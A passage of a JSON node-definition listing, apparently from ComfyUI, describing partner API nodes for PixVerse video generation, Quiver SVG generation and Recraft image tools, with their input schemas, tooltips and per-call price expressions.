\"1080p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"720p\": {\"normal\": 0.6, \"fast\": 1.2},\n \"540p\": {\"normal\": 0.45, \"fast\": 0.9},\n \"360p\": {\"normal\": 0.45, \"fast\": 0.9}\n },\n \"8\": {\n \"1080p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"720p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"540p\": {\"normal\": 0.9, \"fast\": 1.2},\n \"360p\": {\"normal\": 0.9, \"fast\": 1.2}\n }\n };\n $durPrices := $lookup($prices, $string(widgets.duration_seconds));\n $qualityPrices := $lookup($durPrices, widgets.quality);\n $price := $lookup($qualityPrices, widgets.motion_mode);\n {\"type\":\"usd\",\"usd\": $price ? $price : 0.9}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PixverseImageToVideoNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt for the video generation", "default": "", "multiline": true}], "quality": ["COMBO", {"default": "540p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "duration_seconds": ["COMBO", {"multiselect": false, "options": [5, 8]}], "motion_mode": ["COMBO", {"multiselect": false, "options": ["normal", "fast"]}], "seed": ["INT", {"tooltip": "Seed for video generation.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "multiline": true}], "pixverse_template": ["PIXVERSE_TEMPLATE", {"tooltip": "An optional template to influence style of generation, created by the PixVerse Template node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "quality", "duration_seconds", "motion_mode", "seed"], "optional": ["negative_prompt", "pixverse_template"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "PixverseImageToVideoNode", "display_name": "PixVerse Image to Video", "description": "Generates videos based on prompt and output_size.", "python_module": "comfy_api_nodes.nodes_pixverse", "category": "partner/video/PixVerse", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration_seconds", "type": "COMBO"}, {"name": "quality", "type": "COMBO"}, {"name": "motion_mode", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"5\": {\n \"1080p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"720p\": {\"normal\": 0.6, \"fast\": 1.2},\n \"540p\": {\"normal\": 0.45, \"fast\": 0.9},\n \"360p\": {\"normal\": 0.45, \"fast\": 0.9}\n },\n \"8\": {\n \"1080p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"720p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"540p\": {\"normal\": 0.9, \"fast\": 1.2},\n \"360p\": {\"normal\": 0.9, \"fast\": 1.2}\n }\n };\n $durPrices := $lookup($prices, $string(widgets.duration_seconds));\n $qualityPrices := $lookup($durPrices, widgets.quality);\n $price := $lookup($qualityPrices, widgets.motion_mode);\n {\"type\":\"usd\",\"usd\": $price ? $price : 0.9}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PixverseTransitionVideoNode": {"input": {"required": {"first_frame": ["IMAGE", {}], "last_frame": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt for the video generation", "default": "", "multiline": true}], "quality": ["COMBO", {"default": "540p", "multiselect": false, "options": ["360p", "540p", "720p", "1080p"]}], "duration_seconds": ["COMBO", {"multiselect": false, "options": [5, 8]}], "motion_mode": ["COMBO", {"multiselect": false, "options": ["normal", "fast"]}], "seed": ["INT", {"tooltip": "Seed for video generation.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "multiline": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["first_frame", "last_frame", "prompt", "quality", "duration_seconds", "motion_mode", "seed"], "optional": ["negative_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "PixverseTransitionVideoNode", "display_name": "PixVerse Transition Video", "description": "Generates videos based on prompt and output_size.", "python_module": "comfy_api_nodes.nodes_pixverse", "category": "partner/video/PixVerse", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "duration_seconds", "type": "COMBO"}, {"name": "quality", "type": "COMBO"}, {"name": "motion_mode", "type": "COMBO"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $prices := {\n \"5\": {\n \"1080p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"720p\": {\"normal\": 0.6, \"fast\": 1.2},\n \"540p\": {\"normal\": 0.45, \"fast\": 0.9},\n \"360p\": {\"normal\": 0.45, \"fast\": 0.9}\n },\n \"8\": {\n \"1080p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"720p\": {\"normal\": 1.2, \"fast\": 1.2},\n \"540p\": {\"normal\": 0.9, \"fast\": 1.2},\n \"360p\": {\"normal\": 0.9, \"fast\": 1.2}\n }\n };\n $durPrices := $lookup($prices, $string(widgets.duration_seconds));\n $qualityPrices := $lookup($durPrices, widgets.quality);\n $price := $lookup($qualityPrices, widgets.motion_mode);\n {\"type\":\"usd\",\"usd\": $price ? $price : 0.9}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PixverseTemplateNode": {"input": {"required": {"template": ["COMBO", {"multiselect": false, "options": ["Microwave", "Suit Swagger", "Anything, Robot", "Subject 3 Fever", "kiss kiss"]}]}}, "input_order": {"required": ["template"]}, "is_input_list": false, "output": ["PIXVERSE_TEMPLATE"], "output_is_list": [false], "output_name": ["pixverse_template"], "output_tooltips": [null], "output_matchtypes": null, "name": "PixverseTemplateNode", "display_name": "PixVerse Template", "description": "", "python_module": "comfy_api_nodes.nodes_pixverse", "category": "partner/video/PixVerse", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "QuiverTextToSVGNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Text description of the desired SVG output.", "default": "", "multiline": true}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for SVG generation.", "options": [{"key": "arrow-1.1", "inputs": {"required": {"temperature": ["FLOAT", {"tooltip": "Randomness control. Higher values increase randomness.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.1, "display": "slider"}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling parameter.", "advanced": true, "default": 1.0, "min": 0.05, "max": 1.0, "step": 0.05, "display": "slider"}], "presence_penalty": ["FLOAT", {"tooltip": "Token presence penalty.", "advanced": true, "default": 0.0, "min": -2.0, "max": 2.0, "step": 0.1, "display": "slider"}]}}}, {"key": "arrow-1.1-max", "inputs": {"required": {"temperature": ["FLOAT", {"tooltip": "Randomness control. Higher values increase randomness.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.1, "display": "slider"}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling parameter.", "advanced": true, "default": 1.0, "min": 0.05, "max": 1.0, "step": 0.05, "display": "slider"}], "presence_penalty": ["FLOAT", {"tooltip": "Token presence penalty.", "advanced": true, "default": 0.0, "min": -2.0, "max": 2.0, "step": 0.1, "display": "slider"}]}}}, {"key": "arrow-preview", "inputs": {"required": {"temperature": ["FLOAT", {"tooltip": "Randomness control. Higher values increase randomness.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.1, "display": "slider"}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling parameter.", "advanced": true, "default": 1.0, "min": 0.05, "max": 1.0, "step": 0.05, "display": "slider"}], "presence_penalty": ["FLOAT", {"tooltip": "Token presence penalty.", "advanced": true, "default": 0.0, "min": -2.0, "max": 2.0, "step": 0.1, "display": "slider"}]}}}]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "optional": {"instructions": ["STRING", {"tooltip": "Additional style or formatting guidance.", "advanced": true, "default": "", "multiline": true}], "reference_images": ["COMFY_AUTOGROW_V3", {"tooltip": "Up to 4 reference images to guide the generation.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "ref_", "min": 0, "max": 4}}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "model", "seed"], "optional": ["instructions", "reference_images"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["SVG"], "output_is_list": [false], "output_name": ["SVG"], "output_tooltips": [null], "output_matchtypes": null, "name": "QuiverTextToSVGNode", "display_name": "Quiver Text to SVG", "description": "Generate an SVG from a text prompt using Quiver AI.", "python_module": "comfy_api_nodes.nodes_quiver", "category": "partner/image/Quiver", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $contains(widgets.model, \"max\")\n ? {\"type\":\"usd\",\"usd\":0.3575}\n : $contains(widgets.model, \"preview\")\n ? {\"type\":\"usd\",\"usd\":0.429}\n : {\"type\":\"usd\",\"usd\":0.286}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "QuiverImageToSVGNode": {"input": {"required": {"image": ["IMAGE", {"tooltip": "Input image to vectorize."}], "auto_crop": ["BOOLEAN", {"tooltip": "Automatically crop to the dominant subject.", "advanced": true, "default": false}], "model": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Model to use for SVG vectorization.", "options": [{"key": "arrow-1.1", "inputs": {"required": {"target_size": ["INT", {"tooltip": "Square resize target in pixels.", "advanced": true, "default": 1024, "min": 128, "max": 4096}], "temperature": ["FLOAT", {"tooltip": "Randomness control. Higher values increase randomness.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.1, "display": "slider"}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling parameter.", "advanced": true, "default": 1.0, "min": 0.05, "max": 1.0, "step": 0.05, "display": "slider"}], "presence_penalty": ["FLOAT", {"tooltip": "Token presence penalty.", "advanced": true, "default": 0.0, "min": -2.0, "max": 2.0, "step": 0.1, "display": "slider"}]}}}, {"key": "arrow-1.1-max", "inputs": {"required": {"target_size": ["INT", {"tooltip": "Square resize target in pixels.", "advanced": true, "default": 1024, "min": 128, "max": 4096}], "temperature": ["FLOAT", {"tooltip": "Randomness control. Higher values increase randomness.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.1, "display": "slider"}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling parameter.", "advanced": true, "default": 1.0, "min": 0.05, "max": 1.0, "step": 0.05, "display": "slider"}], "presence_penalty": ["FLOAT", {"tooltip": "Token presence penalty.", "advanced": true, "default": 0.0, "min": -2.0, "max": 2.0, "step": 0.1, "display": "slider"}]}}}, {"key": "arrow-preview", "inputs": {"required": {"target_size": ["INT", {"tooltip": "Square resize target in pixels.", "advanced": true, "default": 1024, "min": 128, "max": 4096}], "temperature": ["FLOAT", {"tooltip": "Randomness control. Higher values increase randomness.", "advanced": true, "default": 1.0, "min": 0.0, "max": 2.0, "step": 0.1, "display": "slider"}], "top_p": ["FLOAT", {"tooltip": "Nucleus sampling parameter.", "advanced": true, "default": 1.0, "min": 0.05, "max": 1.0, "step": 0.05, "display": "slider"}], "presence_penalty": ["FLOAT", {"tooltip": "Token presence penalty.", "advanced": true, "default": 0.0, "min": -2.0, "max": 2.0, "step": 0.1, "display": "slider"}]}}}]}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 2147483647, "control_after_generate": true}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "auto_crop", "model", "seed"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["SVG"], "output_is_list": [false], "output_name": ["SVG"], "output_tooltips": [null], "output_matchtypes": null, "name": "QuiverImageToSVGNode", "display_name": "Quiver Image to SVG", "description": "Vectorize a raster image into SVG using Quiver AI.", "python_module": "comfy_api_nodes.nodes_quiver", "category": "partner/image/Quiver", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "model", "type": "COMFY_DYNAMICCOMBO_V3"}], "inputs": [], "input_groups": []}, "expr": "\n (\n $contains(widgets.model, \"max\")\n ? {\"type\":\"usd\",\"usd\":0.3575}\n : $contains(widgets.model, \"preview\")\n ? {\"type\":\"usd\",\"usd\":0.429}\n : {\"type\":\"usd\",\"usd\":0.286}\n )\n "}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftTextToImageNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation.", "default": "", "multiline": true}], "size": ["COMBO", {"tooltip": "The size of the generated image.", "default": "1024x1024", "multiselect": false, "options": ["1024x1024", "1365x1024", "1024x1365", "1536x1024", "1024x1536", "1820x1024", "1024x1820", "1024x2048", "2048x1024", "1434x1024", "1024x1434", "1024x1280", "1280x1024", "1024x1707", "1707x1024"]}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"recraft_style": ["RECRAFT_V3_STYLE", {}], "negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "forceInput": true, "multiline": false}], "recraft_controls": ["RECRAFT_CONTROLS", {"tooltip": "Optional additional controls over the generation via the Recraft Controls node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "size", "n", "seed"], "optional": ["recraft_style", "negative_prompt", "recraft_controls"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftTextToImageNode", "display_name": "Recraft Text to Image", "description": "Generates images synchronously based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": $round(0.04 * widgets.n, 2)}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftImageToImageNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt for the image generation.", "default": "", "multiline": true}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "strength": ["FLOAT", {"tooltip": "Defines the difference with the original image, should lie in [0, 1], where 0 means almost identical, and 1 means miserable similarity.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"recraft_style": ["RECRAFT_V3_STYLE", {}], "negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "forceInput": true, "multiline": false}], "recraft_controls": ["RECRAFT_CONTROLS", {"tooltip": "Optional additional controls over the generation via the Recraft Controls node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "n", "strength", "seed"], "optional": ["recraft_style", "negative_prompt", "recraft_controls"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftImageToImageNode", "display_name": "Recraft Image to Image", "description": "Modify image based on prompt and strength.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": $round(0.04 * widgets.n, 2)}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftImageInpaintingNode": {"input": {"required": {"image": ["IMAGE", {}], "mask": ["MASK", {}], "prompt": ["STRING", {"tooltip": "Prompt for the image generation.", "default": "", "multiline": true}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"recraft_style": ["RECRAFT_V3_STYLE", {}], "negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "forceInput": true, "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "mask", "prompt", "n", "seed"], "optional": ["recraft_style", "negative_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftImageInpaintingNode", "display_name": "Recraft Image Inpainting", "description": "Modify image based on prompt and mask.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": $round(0.04 * widgets.n, 2)}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftTextToVectorNode": {"input": {"required": {"prompt": ["STRING", {"tooltip": "Prompt for the image generation.", "default": "", "multiline": true}], "substyle": ["COMBO", {"multiselect": false, "options": ["None", "bold_stroke", "chemistry", "colored_stencil", "contour_pop_art", "cosmics", "cutout", "depressive", "editorial", "emotional_flat", "engraving", "infographical", "line_art", "line_circuit", "linocut", "marker_outline", "mosaic", "naivector", "roundish_flat", "seamless", "segmented_colors", "sharp_contrast", "thin", "vector_photo", "vivid_shapes"]}], "size": ["COMBO", {"tooltip": "The size of the generated image.", "default": "1024x1024", "multiselect": false, "options": ["1024x1024", "1365x1024", "1024x1365", "1536x1024", "1024x1536", "1820x1024", "1024x1820", "1024x2048", "2048x1024", "1434x1024", "1024x1434", "1024x1280", "1280x1024", "1024x1707", "1707x1024"]}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "forceInput": true, "multiline": false}], "recraft_controls": ["RECRAFT_CONTROLS", {"tooltip": "Optional additional controls over the generation via the Recraft Controls node."}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["prompt", "substyle", "size", "n", "seed"], "optional": ["negative_prompt", "recraft_controls"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["SVG"], "output_is_list": [false], "output_name": ["SVG"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftTextToVectorNode", "display_name": "Recraft Text to Vector", "description": "Generates SVG synchronously based on prompt and resolution.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [{"name": "n", "type": "INT"}], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": $round(0.08 * widgets.n, 2)}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftVectorizeImageNode": {"input": {"required": {"image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["SVG"], "output_is_list": [false], "output_name": ["SVG"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftVectorizeImageNode", "display_name": "Recraft Vectorize Image", "description": "Generates SVG synchronously from an input image.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\": 0.01}"}, "search_aliases": null, "essentials_category": "Image Tools", "has_intermediate_output": false}, "RecraftRemoveBackgroundNode": {"input": {"required": {"image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "RecraftRemoveBackgroundNode", "display_name": "Recraft Remove Background", "description": "Remove background from image, and return processed image and mask.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.01}"}, "search_aliases": null, "essentials_category": "Image Tools", "has_intermediate_output": false}, "RecraftReplaceBackgroundNode": {"input": {"required": {"image": ["IMAGE", {}], "prompt": ["STRING", {"tooltip": "Prompt for the image generation.", "default": "", "multiline": true}], "n": ["INT", {"tooltip": "The number of images to generate.", "default": 1, "min": 1, "max": 6}], "seed": ["INT", {"tooltip": "Seed to determine if node should re-run; actual results are nondeterministic regardless of seed.", "default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}, "optional": {"recraft_style": ["RECRAFT_V3_STYLE", {}], "negative_prompt": ["STRING", {"tooltip": "An optional text description of undesired elements on an image.", "default": "", "forceInput": true, "multiline": false}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image", "prompt", "n", "seed"], "optional": ["recraft_style", "negative_prompt"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftReplaceBackgroundNode", "display_name": "Recraft Replace Background", "description": "Replace background on image, based on provided prompt.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.04}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftCrispUpscaleNode": {"input": {"required": {"image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftCrispUpscaleNode", "display_name": "Recraft Crisp Upscale Image", "description": "Upscale image synchronously.\nEnhances a given raster image using \u2018crisp upscale\u2019 tool, increasing image resolution, making the image sharper and cleaner.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.004}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftCreativeUpscaleNode": {"input": {"required": {"image": ["IMAGE", {}]}, "hidden": {"auth_token_comfy_org": ["AUTH_TOKEN_COMFY_ORG"], "api_key_comfy_org": ["API_KEY_COMFY_ORG"], "unique_id": ["UNIQUE_ID"], "comfy_usage_source": ["COMFY_USAGE_SOURCE"]}}, "input_order": {"required": ["image"], "hidden": ["auth_token_comfy_org", "api_key_comfy_org", "unique_id", "comfy_usage_source"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftCreativeUpscaleNode", "display_name": "Recraft Creative Upscale Image", "description": "Upscale image synchronously.\nEnhances a given raster image using \u2018creative upscale\u2019 tool, boosting resolution with a focus on refining small details and faces.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": true, "price_badge": {"engine": "jsonata", "depends_on": {"widgets": [], "inputs": [], "input_groups": []}, "expr": "{\"type\":\"usd\",\"usd\":0.25}"}, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftStyleV3RealisticImage": {"input": {"required": {"substyle": ["COMBO", {"multiselect": false, "options": ["None", "b_and_w", "enterprise", "evening_light", "faded_nostalgia", "forest_life", "hard_flash", "hdr", "motion_blur", "mystic_naturalism", "natural_light", "natural_tones", "organic_calm", "real_life_glow", "retro_realism", "retro_snapshot", "studio_portrait", "urban_drama", "village_realism", "warm_folk"]}]}}, "input_order": {"required": ["substyle"]}, "is_input_list": false, "output": ["RECRAFT_V3_STYLE"], "output_is_list": [false], "output_name": ["recraft_style"], "output_tooltips": [null], "output_matchtypes": null, "name": "RecraftStyleV3RealisticImage", "display_name": "Recraft Style - Realistic Image", "description": "Select realistic_image style and optional substyle.", "python_module": "comfy_api_nodes.nodes_recraft", "category": "partner/image/Recraft", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RecraftStyleV3DigitalIllustration": {"input": {"required": {"substyle": ["COMBO", {"multiselect": false, "options": ["None", "2d_art_poster", "2d_art_poster_2", "antiquarian", "bold_fantasy", "child_book", "child_books", "cover", "crosshatch", "digital_engraving", "engraving_color", "expressionism", "freehand_details", "grain", 